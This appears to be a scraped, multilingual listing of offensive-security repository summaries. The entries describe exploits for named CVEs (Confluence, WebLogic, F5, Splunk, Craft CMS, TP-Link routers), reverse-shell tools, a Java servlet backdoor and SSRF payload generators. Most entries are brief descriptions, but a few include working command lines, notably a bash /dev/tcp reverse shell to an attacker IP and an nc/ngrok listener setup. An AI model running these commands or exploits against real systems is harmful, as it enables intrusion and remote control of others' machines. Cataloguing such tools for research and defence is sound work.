OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Enquête OpenWire Lab Lors de mon quart de travail en tant qu'analyste SOC de niveau 2 Security Operations Center, j'ai reçu une escalade d'un analyste de niveau 1 concernant un serveur accessible publiquement qui avait été observé en communication avec plusieurs adresses I...

CVE-2026-22226

CVE-2026-22226 Доказательство концепции для CVE-2026-22226 Аутентифицированное внедрение OS-команд на стороне LAN в VPN-клиенте Wi-Fi-роутеров TP-Link Archer Краткое описание уязвимости Контроллер VPN-клиента сохраняет управляемое пользователем описание записи des в конфигурации UCI с помощью...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X إلغاء التسلسل نسخة الصدفة العكسية واجهة رسومية معاد كتابتها بناءً على وضع سطر الأوامر للمؤلف التفاصيل:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

أداة استغلال ثغرة CVE-2020-5902-RCE الإصدار 1.0 بواجهة رسومية GUI تعليمات استخدام الأداة في مكان تنفيذ الأوامر، إذا فشل التنفيذ في المرة الأولى، يمكن المحاولة عدة مرات. فحص عناوين الهدف بشكل مجمّع تنفيذ الصدى العكسي Reverse Shell فحص عنوان هدف فردي رفع الملفات رابط تحميل البرنامج الرابط:...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui الأداة مخصصة للاستخدام المصرح به فقط؛ إذا نشأت قضايا جنائية نتيجة هجمات غير مصرح بها، فلا علاقة لي بذلك. أرجو من الجميع الاطلاع على قانون الأمن السيبراني. أثناء إحدى عمليات الاستغلال الأولي، واجهت الثغرة 14882. لم أجد أداة POC جيدة بواجهة رسومية GUI، لذا أعدت بناءها. أنا...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 إثبات اختراق PoC من العالم الحقيقي الاستخدام تحميل bun https://github.com/oven-sh/bun/releases تشغيل ngrok ngrok tcp 4444 الاستماع على localhost 4444 nc -nvlp 4444 تشغيل الاستغلال bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport...

CIMCown

CIMCown CVE-2026-20200 Cisco IMC에서의 인자 주입Argument Injection을 통한 RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 보안 권고: NSIDE-SA-2026-003 블로그 포스트:...

Java-Servlets-Shell

Java Servlets Shell باب خلفي لـ Java Servlets مستوحى من https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz ملاحظة : تحتوي ملفات WAR على كود Java مُجمَّع بدلاً من صفحات JSP لاستخدامها في البيئات التي تحظر أو لا تُجمِّع ملفات JSP...

offsec-karaf-exploits

offsec-karaf-exploits الاستخدام: python exploit.py --help مثال: python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf إعادة بناء الحمولة إعداد Felix Framework 1. أنشئ مجلد lib mkdir -p ./revshell/lib 2. نزّل Felix Framework 7.0.5 3. فك ضغط...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus إذا كنت تعرف مكانًا معرضًا لثغرة SSRF، فستساعدك هذه الأداة في توليد حمولة Gopher لاستغلال SSRF Server Side Request Forgery والحصول على RCE Remote Code Execution. كما ستساعدك في الحصول على قشرة عكسية Reverse Shell على الخادم الضحية. ولمزيد من المعلومات يمكنك قراءة مقال حول ذلك مدونة عن...

php-reverse-shell

php-reverse-shell...

wp-file-manager

wp-file-manager WP File Manager 6.9 - رفع ملفات تعسفي يؤدي إلى تنفيذ أوامر عن بُعد RCE usage: wp-file-manager.py -h -u URL -f FILE optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of host to check will need http or https -f FILE, --file FILE File of URLS to che...

Splunk-RCE-poc

Splunk RCE - PoC Exploit de preuve de concept pour CVE-2023-46214, SVD-2023-1104 Utilisation L'URL de l'instance Splunk, le nom d'utilisateur, le mot de passe, l'adresse IP du reverse shell et le port sont tous requis comme paramètres de ligne de commande. Par exemple : $ python3 CVE-2023-46214.p...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - رفع ملف تعسفي الوصف البرنامج الإضافي Instant Appointment لـ WordPress عرضة لثغرة رفع ملف تعسفي في الإصدارات حتى 1.2 وما يشملها. وهذا يتيح للمهاجمين غير المصادق عليهم رفع shell وتنفيذ الأوامر. التفاصيل النوع : إضافة Slug :...

PPPoEject

PPPoEject CVE-2026-68121 التحليل !WARNING تم توفير PoC فقط لمساعدة المدافعين والصيانة وفرق الأمن المصرح لها على التحقق من التصحيحات والتخفيفات والكشف والتعرض على الأنظمة التي يملكونها أو المصرح لهم صراحة باختبارها. أنت وحدك المسؤول عن ضمان أن استخدامك لهذه المواد قانوني ومصرح به ومُتحكم فيه ويُجر...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; بمجرد اجتياز الوحدة لهذا الفحص بوصفها "إضافة صالحة"، يتم تنفيذ أي سكربتات install.php تلقائيًا على الخادم. يستخدم هذا الاستغلال ببساطة شيل عكسي PHP كحمولة PHP. عرض توضيحي على يوتيوب: https://youtu.be/Dhg5gRe9Dzs?si=LHC29PBRRRPNNy73 Description...

sagemcom-fast-3890-exploit

Exploit Sagemcom Fast 3890 Cet exploit utilise la vulnérabilité Cable Haunt pour ouvrir un shell sur le modem câble Sagemcom F@ST 3890 50.10.19, à partir d'un accès au réseau local. La version du firmware 50.10.21 ou plus récente devrait être sécurisée contre Cable Haunt. Cette preuve de concept ...

CVE-2022-0847

CVE-2022-0847 إعادة إنتاج بسيطة لـ CVE-2022-0847 رابط المقال الأصلي: https://dirtypipe.cm4all.com/ بيئة الإعادة Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux التبعيات gcc خطوات الاستخدام git clone https://github.com/imfiver/CVE-2022-0847.git cd CVE-2022-0847...

Http-Asynchronous-Reverse-Shell

HTTP/S एसिंक्रोनस रिवर्स शेल ✨ परिचय एक ऐसे युग में जहाँ IDS, IPS, EDR, AV और फायरवॉल जैसी उन्नत पहचान प्रणालियाँ कॉर्पोरेट नेटवर्क पर हावी हैं, आक्रामक सुरक्षा मूल्यांकनों के दौरान इन्हें धोखा देना एक चुनौती है। अधिकांश रिवर्स शेल TCP टनल L4 का उपयोग करते हैं, जिनका अब नियमित रूप से विश्लेषण और...